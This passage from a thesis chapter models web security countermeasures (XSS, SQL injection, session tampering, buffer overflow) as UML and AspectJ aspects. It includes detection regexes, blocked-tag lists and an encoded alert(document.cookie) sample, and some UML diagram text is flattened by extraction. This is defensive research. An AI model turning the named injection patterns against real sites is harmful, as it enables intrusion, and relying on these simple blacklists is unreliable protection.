area of remote network penetration vulnerabilities. The main goal of a buffer

overflow attacker is to sabotage the program and take control of it. Attack changes

flow of control either by injecting attack code/ parameters into some memory

structure or abuse some vulnerable function that writes to memory of the process to

alter data that controls execution flow. This attack occurs when more data is written to

memory than was expected and allocated by the program. This happens because

attacker returns address with attack code address.

The level of implementation of web application security concerns differ from one

application to another according to the nature and sensitivity of the data content.

However every application should be protected against the attacks mentioned above.

1.4. Attack Counter measures

The above mentioned attacks are generally exploited through web browser via

editable data fields. Hence this issue is spanned throughout the software wherever

user input is accepted. Making a developer to take care of each and every point will

be tiresome and error prone. Hence the researcher modeled these defense mechanisms

as aspects. Every countermeasure has one or more aspects modeled as classes

stereotyped as <<aspect>>. Advices are modeled as another specialized class with the

corresponding methods stereotyped as <<advice>> to perform the crosscutting

functionality. The pointcuts were also modeled as classes stereotyped <<pointcut>>.

The researcher tried to increase the modularity as much as possible so that according

to the level of security requirements the aspects can be injected in to the main model.

1.4.1. Modeling Counter measures of Authentication We define some aspects for the authentication procedure besides the basic

authentication. Whenever the user tries to access the restricted content the credentials

of the user is requested. The credentials should be passed through a secured channel

Page 23: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

and cryptography should be enforced. To avoid the brute force attack logintracer

aspect was defined figure ( 3). Error message of authentication aspect is the pointcut

Figure (3) Logintracer state chart

Figure (4) Basic authentication aspect State chart

Figure (5) Aspect for trace logins(prevents brute force attacks)

<< aspect >>

LoginTracer <<advice>> + checkTries () <<component>>

TraceLogin

Check user tries

lock

OK[ else ]

[ >3 ]

Page 24: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (6) Aspect for CredentialChecker

1.4.2. Modeling Counter measures of Cross site scripting A static analysis was conducted to unveil potential vulnerabilities and dynamic

analysis was conducted to detect actual vulnerability. The modeling of these counter

measures were proposed to be a static and behavioral one which starts from the

requirements modeling phase.

Here the researcher proposed the following aspects to make the software defendable

against XSS attacks. The XssInjectionCheck aspect (fig (7 )) was weaved to each and

every form which takes an input from the user and every url request that passes some

parameter. This will check whether the input contains any malicious tag which

include javascript, eval, vbscript, tcl, on* etc. The Encode aspect involves translation

of special characters into some equivalent that is no longer significant in the target

interpreter. E.g.: The script tag was translated in to a safe tag

&lt;SCRIPT&gt;alert(document.cookie; &lt;/SCRIPT&gt;. The researcher had also

recommended striping of some unwanted patterns related to scripting and event

handling mentioned above.

Following are the categories of attack patterns we consider

� Malformed IMG tags

� Embedded tab/encoded tab

� Embedded newline to break up XSS

� Non alpha non digit XSS

� Extraneous open brackets

� Malformed script tags, body tags, iframe tags

� Malformed xss tags, link tags, layer tags

� Malformed frameset tags, table tags, div tags

� Malformed object tags, embed tags, base tags

<< aspect >>

CredentialChecker <<advice>> +

validateCredential ()

<<component>>

CredentialValidator

Page 25: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

� No filter evasion

All the above categories of attack patterns can be identified by certain tags and

keywords used frequently like <META, <SCRIPT, <IFRAME, <DIV,

<TABLE, <LAYER, <LINK, <EMBED, <OBJECT, <STYLE, <BASE,

<IMG, <XML, fsCommand(), on* etc.

Some of the regular expressions that detect the malicious pattern are as follows

"(\\s|\\S)*((%73)|s)(\\s)*((%63)|c)(\\s)*((%72)|r)(\\s)*((%69)|i)(\\s)*((%70)|p)(\

\s)*((%74)|t)(\\s|\\S)*",

“(\\s|\\S)*((%3C)|<)((%69)|i|I|(%49))((%6D)|m|M|(%4D))((%67)|g|G|(%47))[^\

n]+((%3E)|>)(\\s|\\S)*",

"(\\s|\\S)*((%65)|e)(\\s)*((%76)|v)(\\s)*((%61)|a)(\\s)*((%6C)|l)(\\s|\\S)*"

This aspect is injected just prior to any output to the browser.

Figure (7) Aspect for Cross site scripting

Figure (8) Aspect for encoding

1.4.3. Modeling Counter measures of Sql Injection As the severity caused by this attack is high certain techniques are to be integrated

into the basic model.

<< aspect >>

XssInjectionCheck <<advice>> + validateTag () <<component>>

XssInjectionChecke

<< aspect >>

Encode <<advice>> + encode ()

<<component>>

Encoder

Page 26: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

The validations should be done both at the presentation layer and persistence layer.

The SqlInjectionCheck aspect (fig (9 )) include matching a white list, matching a

blacklist and sanitizing. Any data that does not match white list are rejected. This

aspect needs to know which all are the valid characters in order to apply matching

white list case. As a general requirement the researcher assumed that the following

characters are allowed 0-9a-zA-Z for alphanumeric fields. Which all special

characters have to be allowed depends on the field. For date fields /- and email @-_.

are allowed. Name of a person require the special character ‘ also. So the researcher

allowed these characters first. But, they may cause sql injection problems and hence

black list was identified. Black list include characters that are not allowed. This is less

preferred as the list may be incomplete and in future new malicious character

sequence may creep in. Still the probability of false positives while using white list

demands this. Sanitizing the input is an effort to make the input safe by translation or

elimination.

We have taken care of the following categories of malicious patterns.

� Authenticate without any credentials

� Authenticate with username

� Authenticate as first user in table

� Authenticate as false user

� Finding some user

� Guess table name

� Guess no of fields

� Guess type and name of field

� Insert/modify/delete records in table

� Database shutdown

� Built in stored procedure execution pattern

The default aspect don’t specify the allowed character range to define

matchWhiteList() advice and all the characters are allowed. Customization of aspect

can be done if the user requirement specifies the allowed characters for a particular

input.

The user input is captured by the aspect and passed through the pointcut to the advice

matchBlackList().The advice uses a pattern matcher to detect the above mentioned

Page 27: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

patterns. Sanitizer then removes the recognized pattern. Following are sample regular

expressions in java to recognize the malicious patterns.

(?i)(%27|(\'))\\s*((%4F|o|%6F)(%72|r|%52))|(;|%3B)[a-z]+-- matches false

authentication and comments

(%27|(\')) union. matches ' union

(?i)(%27|(\'))\\s*(union|select|drop|having|insert|delete|show). Matches

common sql queries which are prohibited

(?i)(\\s|\\S)*(exec(\\s|\\+)+(s|x)p\\w+)(\\s|\\S)* matches stored procedure call

The DataValidation aspect (fig (10)) ensures that the input data is valid or not. This

will check whether it is strongly typed, have correct syntax, within length boundaries,

contain only permitted characters, numbers are correctly signed, within range

boundaries etc. RuleValidation aspect(fig (11))is injected to check whether the data

follows a business rule, for eg: interest rates fall within boundaries.

The Binding aspect(fig (12)) checks whether the binding of the variable is done

properly or not.

Figure (9) aspect for SqlInjection checking

Figure (10) aspect for data validation

<< aspect >>

<<advice>> + matchWhiteList ()

<<advice>>+matchBlackList()

<<advice>>+sanitize()

<<component>>

<< aspect >>

<<advice>> + validateData ()

<<component>>

<< aspect >>

RuleValidation <<advice >> +

validateRule ()

<<component>>

RuleValidator

Page 28: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (11) aspect for rule validation

Figure (12) aspect for binding

1.4.4. Modeling Counter measures for parameter tampering

The ExistenceCheck aspect(fig (14)) deals with ensuring the presence of a parameter

field in the table . The IntegrityCheck aspect (fig (13)) ensure that data is not

tampered by the client and is the same that the server has sent. This checking is

necessary to restrict user from modifying the pre-selected data values in a form like

drop-down lists, radio buttons etc. Securing the state of the session is the basic

requirement of this aspect. The state object is ciphered and stored at server side.

While sending the data through the url parameters or hidden fields it is replaced by

hashed values to ensure confidentiality. The Sessionvalidator aspect is responsible for

this and also the reverse mapping from hashed values to actual values of parameter.

The Ensureconfidentiality aspect deals with integrity of cookies. This is done by

storing the parameters at server side to verify the cookies received

Figure (13) aspect for checking Integrity

Figure (14) aspect for checking Existence

<< aspect >>

Binding <<advice>>+ checkBinding ()

<<component>>

BindingChecker

<< aspect >>

<<advice>> + checkIntegrity ()

<<component>>

<< aspect >>

ExistenceCheck <<advice>> + checkExistence ()

<<component>>

ExistenceChecker

Page 29: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (15) aspect for checking Confidentiality

1.4.5. Modeling counter measures of buffer overflow Buffer overflow vulnerability is severe in c/c++ applications but rare in case of java

based and .net based applications. Prevention is thus specific to the application. The

researcher suggested input size verification before it is stored in the main memory.

BufferSizeCheck aspect [16]will have all input points as the pointcut.

Every input is checked for the expected size and if greater than expected truncation is

done to avoid buffer overflow. For this we have to manually find the expected size of

each input parameter and feed to aspect.

For example name field take maximum 25 characters. Buffer overflow occurs when

the user enters beyond 25 characters and change stack address and run some

malicious code.

So our aspect needs the max size and user input to do the overflow check. For

numeric inputs and arrays java has the bounds checking and Exception is raised when

outOfBounds is observed.

Figure (16) aspect for checking Bufferoverflow

<< aspect >>

<<advice>> +

checkConfidentiality ()

<<component>>

ConfidentialityChecker

<< aspect >>

<<advice>> + checkandTrunc()

<<component>>

BufferChecker

Page 30: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

1.4.6. Modeling counter measures of malicious file upload Any file that a user try to upload must be verified for its genuineness before storing at

the server side. The white list approach is used here to allow only the expected file

types. For example resume uploads allow only word and text files.

Figure (17) aspect for checking File

1.4.7. Modeling counter measures for URL manipulation

Every application maintains the state and identity of the user in order to remember the

user’s details across multiple requests. We have to secure this state information of

every user so that it is not exploited by the hackers. We define the session

management aspect to identify and secure the user’s session information.

Session management aspects take care of the following

• Start the session as soon as the user is verified and session id is issued to the

client. Exchange of session id should be in a secure way. Generally the session

id is issued by the web server. This session id will be a random unique number

and sent as a cookie to the client. Server expects a valid sessionid whenever the

client make a request after authentication.

• As there cannot be any programmer intervention it is difficult to manage this

session id. So we need to do some code level implementation to protect against

session hijacking.

• State of the session contains all the parameters, its type, values and next page url’s

etc.

• In order to validate the user, to every page sent to the client add a parameter that

represents the sate of the page(page identifier)

• The page identifier is hashed and inserted as a parameter or hidden field according

to the mode of response

<< aspect >>

<<advice>> + verifyFile ()

<<component>>

FileVerifier

Page 31: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

• The first page identifier is generated as a random number and keeps on

incrementing for further requests. This is stored at server side before sending to

the client.

• When client send the page request it has to send the page identifier also. If the

page identifier is already stored in server then only it is a valid request.

Otherwise the client is attempting an unauthorized access.

• Session should be invalidated when user logout

• If the user quits without logout, then generally the server invalidates the session

after the timeout

1.5. Platform Independent Aspect Model(PIM)

In order to facilitate compliance to model driven engineering an aspect model that is

independent of the specific technological platform used to implement it, has been

defined. This would help those who want to use a Model Transformation Language to

transform a Platform-independent model into a Platform-specific model.

The web application counter measures proposed in the previous chapter were modeled

as various aspects that are to be injected into the application in a particular order.

1.5.1. PIM Aspect meta model The PIM model contains various components that constitute the security

countermeasure aspect.

Page 32: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (18) Platform Independent metamodel

1.5.2. PIM Aspect model using UML The PIM model defines 12 aspect classes and 12 advice classes. Every aspect class

contains one or more pointcut classes. Figure (24) shows the PIM model

representation using UML. Following are the aspect classes and related pointcuts.

1.5.2.1. Pointcut identification

A general method has been identified to find various pointcuts of every aspects that

are defined.

i. SqlInjectionAspect

The following pointcuts are identified

• All user input points

• All database access points. Methods that retrieve or update database contents

ii. LoginTracer

The following pointcuts are identified

• Login verification method

• Home page/Error page firing method

iii. CredentialCheck

The following pointcuts are identified

• Method that update user password

• Method that takes new password

Pointcutbody<<stereotype>>

Advice

adviceexecType : String

<<stereotype>>

Pointcut

pointcutname : String

<<stereotype>>

0..n0..n

Aspect<<stereotype>>

1..n1..n

0..1

0..1

+preceds

+preceded by

0..1

0..1

Page 33: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

iv. DataValidation

The following pointcuts are identified

• All user input points

v. RuleValidation

The following pointcuts are identified

• Data process/populate method

vi. BufferSize

The following pointcuts are identified

• All input points

vii. XssAsp

The following pointcuts are identified

• All input points

viii. EnsureConfidentiality

The following pointcuts are identified

• All page request handling methods

• All page requests

• Session load/create methods

• Setting cookie as header information

• Setting cookie using methods

• Logout method

ix. SessionAspect

The following pointcuts are identified

• All page request handling methods

• Session start/load method

• Login verify method

• Form response method

• Logout method

x. FileCheck

The following pointcuts are identified

• All file upload methods xi. Encryption

The following pointcuts are identified

• Database Update method

Page 34: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

xii. Decryption

The following pointcuts are identified

• Data retrieve method

1.5.2.2. Example of pointcut identification in analysis

Here we take the example of online digital library application to illustrate the access

control security concerns such as authorization and authentication. Online digital

library publishes various publications(journals) which have articles written by

authors. Any user can view the list of publications and articles Details of articles like

author names, abstract, references etc are made available to anonymous users but full

content can be accessible only by registered users. Navigation diagram is given in

figure(19) which shows how the user navigates through the application. The use case

diagram of the system is given in figure(20 ) and explains the functionality of the

system .

Figure (19) Navigation Diagram

<<menu>> Mainmenu

<<query>> search publication

<<query>> search author

<<index>> publication

<<index>> article

<<index>> author

<<index>> All publications

<<query>> search article

<<navigation>> publication

<<navigation>> article

<<navigation>> author

Page 35: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (20) Use case Diagram

Figure (21) Sequence Diagram The above sequence diagram shows the article search and access functionality. The

pointcut identification rules were applied and pointcuts were identified as follows.

The advices are injected after the reception of method call.

: user : MainMenu : ArticleSearchForm : ResultForm : SerachArticleController : Article : ArticleWindow

select search article

display()

fill & submit

searchArticle()

getArticleDetails()

display details

request Full content

getFullcontent()

readArticle()

displayArticle()

Page 36: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

i. SqlInjectionAspect

The following pointcuts are identified

• Fill & submit

• getArticle Details

• getFullContent

ii. LoginTracer

The following pointcuts are identified

• Login verification method

• Home page/Error page firing method

iii. CredentialCheck

The following pointcuts are identified

• Method that update user password

• Method that takes new password

iv. DataValidation

The following pointcuts are identified

• Fill & Submit

v. RuleValidation

The following pointcuts are identified

• Data process/populate method

vi. BufferSize

The following pointcuts are identified

• Fill & Submit

vii. XssAsp

The following pointcuts are identified

• Fill & submit

viii. EnsureConfidentiality

The following pointcuts are identified

• All page request handling methods of

o select search article

o display

o fill & submit

o display article

o request full content

Page 37: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

o display details

o getArticle details

• All page requests

o select search article

o display

o fill & submit

o display article

o request full content

o display details

o getArticle details

• Session load/create methods

• Setting cookie as header information

• Setting cookie using methods

• Logout method

ix. SessionAspect

The following pointcuts are identified

• All page request handling methods of

o select search article

o display

o fill & submit

o display article

o request full content

o display details

o getArticle details

• Session start/load method

• Login verify method

• Form response method

• Logout method

x. FileCheck

The following pointcuts are identified

• All file upload methods

xi. Encryption The following pointcuts are identified

Page 38: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

• Database Update method xii. Decryption

The following pointcuts are identified

• Data retrieve method Figure (22) Pointcut for Sql injection Check Figure (23) Pointcut for XSS injection Check

:ArticleSearchForm

<<join point>>

fill*() order=receive

time=around

advice=XSSInjectionChecker.validateTag()

advice=DataValidation.validateData()

advice=Encoder.encode()

:Article

<<join point>>

get*()

Order=receive

Time=around

Advice=SqlInjectionChecker.mat

chWhiteList()

Advice=SqlInjectionChecker.mat

Page 39: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

As given in the diagram these advices are taking parameters of methods and

modifying it. Hence advice is injected around method call or execution.

Page 40: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

1.5.3. UMLmodel

Figure (24) Aspect-Platform Independent UML model

SqlInjectionChecker

acceptedPattern : PatternrejectedPattern : PatternignoreParametersMap : Map

<<advice>> matchWhiteList()<<advice>> matchBlackList()<<advice>> setAcceptedPattern()<<advice>> sanitize()<<advice>> checkandSanitize()<<advice>> validate()

updatequery

query : String

<<pointcut>>

execquery

query : String

<<pointcut>>

loginquery

query : String

<<pointcut>>getParameter1

param1 : Stringname : Stringpoint1 : Stringargs1 : Stringadvice type : Stringadvice : String

createPointcut()

<<pointcut>>

SqlAsp<<aspect>>

SessionValidator

request : HttpServletRequestresponse : HttpServletResponsemd : MessageDigestkey : Keyk : KeyFactorynameuc : URLCodecpagevalid : booleanmethod : intsess : Sessionstate : Statepid : intsid : int

<<advice>> initSession()<<advice>> clearSess()<<advice>> processReq()<<advice>> sendRedir()<<advice>> checkOut()

requesthandler<<pointcut>>

pagerequest<<pointcut>>

logoutmethod<<pointcut>>

getsess<<pointcut>>

outprint<<pointcut>>

SessionAsp<<aspect>>

updatepassword<<pointcut>>

CredentialValidator

<<advice>> validateCredential()

CheckTries

tries : int

<<aspect>> checkandLock()<<aspect>> fireWarn()

verifylogin<<pointcut>>

responsepage<<pointcut>>

LoginTracer<<aspect>>

CookieTrack

req : Requestres : Responsesess : Session

<<advice>> initrr()<<advice>> setcookie()<<advice>> sethdr()<<advice>> chkreq()

pagerequest<<pointcut>>

requesthandler<<pointcut>>

setcookie<<pointcut>>

sethdr<<pointcut>>

logout<<pointcut>>

getsession<<pointcut>>

EnsureConfidentiality<<aspect>>

DataValidator

<<advice>> validateData()

readdata<<pointcut>>

DataValidation<<aspect>>

RuleValidator

<<advice>> validateRule()

processdata<<pointcut>>

RuleValidation<<aspect>>

Encryptor

<<advice>> encrypt()

savedata

Encryption<<aspect>>

Decryptor

<<advice>> decrypt()

retrievedata

Decryption<<aspect>>

FileVerifier

fileupload<<pointcut>>

FileCheck

FileVerifier

<<aspect>>

CredentialCheck<<aspect>>

verifypasswd<<pointcut>>

XssInjectionChecker

acceptedPattern : PatternrejectedPattern : Pattern

<<advice>> matchBlacklist()<<advice>> matchWhiteList()<<advice>> encode()<<advice>> checkandEncode()

XssAsp<<aspect>>

BufferChecker

<<advice>> checkandtrunc()

getuserinput<<pointcut>>

BufferSize<<aspect>>

getinput

param : String

<<pointcut>>

Page 41: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (25) LoginTracer-aspect

Figure (26) CredentialCheck-aspect

CheckTries

tries : int

<<aspect>> checkandLock()<<aspect>> fireWarn()

verifylogin<<pointcut>>

responsepage<<pointcut>>

LoginTracer<<aspect>>

updatepassword<<pointcut>>

CredentialValidator

<<advice>> validateCredential()CredentialCheck

<<aspect>>

verifypasswd<<pointcut>>

Page 42: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (27) SqlAsp-aspect

Figure (28) dataValidation,Rulevalidation-aspect

SqlInjectionChecker

acceptedPattern : PatternrejectedPattern : PatternignoreParametersMap : Map

<<advice>> matchWhiteList()<<advice>> matchBlackList()<<advice>> setAcceptedPattern()<<advice>> sanitize()<<advice>> checkandSanitize()<<advice>> validate()

updatequery

query : String

<<pointcut>>

execquery

query : String

<<pointcut>>

loginquery

query : String

<<pointcut>>getParameter1

param1 : Stringname : Stringpoint1 : Stringargs1 : Stringadvice type : Stringadvice : String

createPointcut()

<<pointcut>>

SqlAsp<<aspect>>

FileVerifier

fileupload<<pointcut>>

FileCheck

FileVerifier

<<aspect>>

DataValidator

<<advice>> validateData()

readdata<<pointcut>>

DataValidation<<aspect>>

RuleValidator

<<advice>> validateRule()

processdata<<pointcut>>

RuleValidation<<aspect>>

Page 43: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (29) BufferSize,XssAsp-aspect

Figure (30) EnsureCondidentiality-aspect

XssInjectionChecker

acceptedPattern : PatternrejectedPattern : Pattern

<<advice>> matchBlacklist()<<advice>> matchWhiteList()<<advice>> encode()<<advice>> checkandEncode()

XssAsp<<aspect>>

BufferChecker

<<advice>> checkandtrunc()

getuserinput<<pointcut>>

BufferSize<<aspect>>

getinput

param : String

<<pointcut>>

CookieTrack

req : Requestres : Responsesess : Session

<<advice>> initrr()<<advice>> setcookie()<<advice>> sethdr()<<advice>> chkreq()

pagerequest<<pointcut>>

requesthandler<<pointcut>>

setcookie<<pointcut>>

sethdr<<pointcut>>

logout<<pointcut>>

getsession<<pointcut>>

EnsureConfidentiality<<aspect>>

Page 44: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (31) SessionAsp-aspect

Figure (32) Encryption/Decryption aspect

1.6. Introduction to Platform Specific Aspect Model

SessionValidator

request : HttpServletRequestresponse : HttpServletResponsemd : MessageDigestkey : Keyk : KeyFactorynameuc : URLCodecpagevalid : booleanmethod : intsess : Sessionstate : Statepid : intsid : int

<<advice>> initSession()<<advice>> clearSess()<<advice>> processReq()<<advice>> sendRedir()<<advice>> checkOut()

requesthandler<<pointcut>>

pagerequest<<pointcut>>

logoutmethod<<pointcut>>

getsess<<pointcut>>

SessionAsp<<aspect>>

outprint<<pointcut>>

Encryptor

<<advice>> encrypt()Encryption

<<aspect>>

Decryptor

<<advice>> decrypt()

retrievedata

Decryption<<aspect>>

savedata

Page 45: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

The platform Independent Model which has been proposed in the previous chapter

can be transformed in to a model for any specific platform. The platform specific

model is then used to implement the system in the desired technological platform

(programming language, operating system, database ).

Figure (33) Java Platform Specific Model-Aspect UML model

SqlInjectionChecker

acceptedPattern : StringrejectedPattern : String

matchWhiteList()matchBlackList()setAcceptedPattern()sanitize()checkandSanitize()validate()SqlInjectionChecker()

getParameter1

param1 : Stringname : Stringpoint1 : Stringadvicetype : Stringadvice : String

createPointcut()getParameter1()

execquery

name : Stringparamtype : Stringparam : Stringpoint1 : Stringrettypeadvice : Stringadvice : String

execquery()

SqlAsp

SqlAsp()

+theSqlInjectionChecker

+theGetParameter1

0..n0..n

CookieTrack

req : HttpServletRequestres : HttpServletResponsesess : HttpSession

initrr()setcookie()sethdr()chkreq()CookieTrack()

CredentialValidator

valid : booleanpwd : String

validateCredential()restoreOriginal()CredentialValidator() CheckTries

tries : Integer

checkandLock()fireWarn()CheckTries()

BufferChecker

checkandtrunc()BufferChecker()

XssInjectionChecker

acceptedPattern : PatternrejectedPattern : Pattern

matchBlackList()matchWhiteList()encode()checkandEncode()XssInjectionChecker()

SessionValidator

req : HttpServletRequestres : HttpServletResponsemd : MessageDigestkey : Keyk : KeyFactoryuc : URLCodecpagevalid : booleanmethod : intsess : HttpSessionstate : Stringpid : intsid : int

SessionValidator()

+theExecquery

DataValidation

DataValidation()

RuleValidation

RuleValidation()

Encryption

Encryption()

Decryptor

Decryptor()

EnsureConfidentiality

EnsureConfidentiality()

1..n

+theCookieTrack

BufferSize

BufferSize() +theBufferChecker

SessAsp

SessAsp()

+theSessionValidator

CredentialCheck

CredentialCheck()

+theCredentialValidator

LoginTracer

LoginTracer()

+theCheckTries

1..n

XssAsp

XssAsp()

+theXssInjectionCheckerDataValidator

validateData()DataValidator()

+theDataValidator

RuleValidator

validateRule()RuleValidator()

+theRuleValidator

Encryptor

encrypt()Encryptor()

+theEncryptor Decryption

Decryption()

+theDecryptor

FileVerifier

verifyType()FileVerifier()

FileCheck

FileCheck()

PointCut

name : Stringparamtype : Stringparam : Stringpoint1 : Stringargs : Stringrettypeadvice : Stringadvice : String

PointCut()

1..n1..n

1..n1..n

1..n1..n

1..n1..n

1..n1..n

1..n1..n1..n1..n 1..n1..n

1..n1..n1..n1..n

1..n1..n

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+theFileVerifier

+thePointCut

Page 46: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (34) PSM

SqlInjectionChecker

acceptedPattern : StringrejectedPattern : String

matchWhiteList()matchBlackList()setAcceptedPattern()sanitize()checkandSanitize()validate()SqlInjectionChecker()

getParameter1

param1 : Stringname : Stringpoint1 : Stringadvicetype : Stringadvice : String

createPointcut()getParameter1()

execquery

name : Stringparamtype : Stringparam : Stringpoint1 : Stringrettypeadvice : Stringadvice : String

execquery()

SqlAsp

SqlAsp()

+theSqlInjectionChecker

+theGetParameter1

0..n0..n

+theExecquery

Page 47: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

CookieTrack

req : HttpServletRequestres : HttpServletResponsesess : HttpSession

initrr()setcookie()sethdr()chkreq()CookieTrack()

BufferChecker

checkandtrunc()BufferChecker()

SessionValidator

req : HttpServletRequestres : HttpServletResponsemd : MessageDigestkey : Keyk : KeyFactoryuc : URLCodecpagevalid : booleanmethod : intsess : HttpSessionstate : Stringpid : intsid : int

SessionValidator()

Encryption

Encryption()

Decryptor

Decryptor()

EnsureConfidentiality

EnsureConfidentiality()

1..n

+theCookieTrack

BufferSize

BufferSize() +theBufferChecker

SessAsp

SessAsp()

+theSessionValidator

1..n

Encryptor

encrypt()Encryptor()

+theEncryptor Decryption

Decryption()

+theDecryptor

FileVerifier

verifyType()FileVerifier()

FileCheck

FileCheck()

PointCut

name : Stringparamtype : Stringparam : Stringpoint1 : Stringargs : Stringrettypeadvice : Stringadvice : String

PointCut()

1..n1..n

1..n1..n

1..n1..n

1..n1..n 1..n

1..n1..n1..n1..n

1..n1..n

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+thePointCut

+theFileVerifier

+thePointCut

Page 48: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (35) PSM

1.7. Aspect implementation

CredentialValidator

valid : booleanpwd : String

validateCredential()restoreOriginal()CredentialValidator() CheckTries

tries : Integer

checkandLock()fireWarn()CheckTries()

XssInjectionChecker

acceptedPattern : PatternrejectedPattern : Pattern

matchBlackList()matchWhiteList()encode()checkandEncode()XssInjectionChecker()

DataValidation

DataValidation()

RuleValidation

RuleValidation()

CredentialCheck

CredentialCheck()

+theCredentialValidator

LoginTracer

LoginTracer()

+theCheckTries

XssAsp

XssAsp()

+theXssInjectionCheckerDataValidator

validateData()DataValidator()

+theDataValidator

RuleValidator

validateRule()RuleValidator()

+theRuleValidator

1..n+thePointCut

1..n+thePointCut

1..n+thePointCut1..n

+thePointCut

1..n

PointCut

name : Stringparamtype : Stringparam : Stringpoint1 : Stringargs : Stringrettypeadvice : Stringadvice : String

PointCut()

Page 49: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

For the proof of the concept implementation of aspect, the researcher had used

application developed using java servlet technology and AspectJ for aspect

implementation.

1.7.1. AspectJ overview

Aspectj is an aspect oriented extension to java. It supports the plug and play

implementation of crosscutting concerns.

An aspect consists of an association of variables, methods, pointcut definitions, inter-

type declarations and advice. AspectJ pointcuts may be named or anonymous. These

pointcuts may pickup the interesting points in the execution of a program ie. method

or constructor invocations and executions, the handling of exceptions, field

assignments and accesses etc, and exposes some of the values in the execution

context of those join points.. The researcher has mainly used the target, execution and

call pointcuts for implementing the security countermeasure aspect pointcuts. The

advice defines pieces of aspect implementation that execute at well defined points in

the execution of the program. The advice can be of three types before, after or around.

The before advice will get injected and executed before the join point, after advice

will get injected and executed after the join point and around advice get injected

before, takes arguments from the method call/execution modify it and return the

arguments.

1.7.2. Aspect details The following were the attacks the researcher had taken into account for application

self defense. The identified pointcuts and advices are given below.

Sr.

no

Attack Pointcut Advice

1 Sql Injection All pages user input

methods

Search for malicious pattern using

regular expression.

Strip malicious pattern

Page 50: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

2 Cross site

scripting

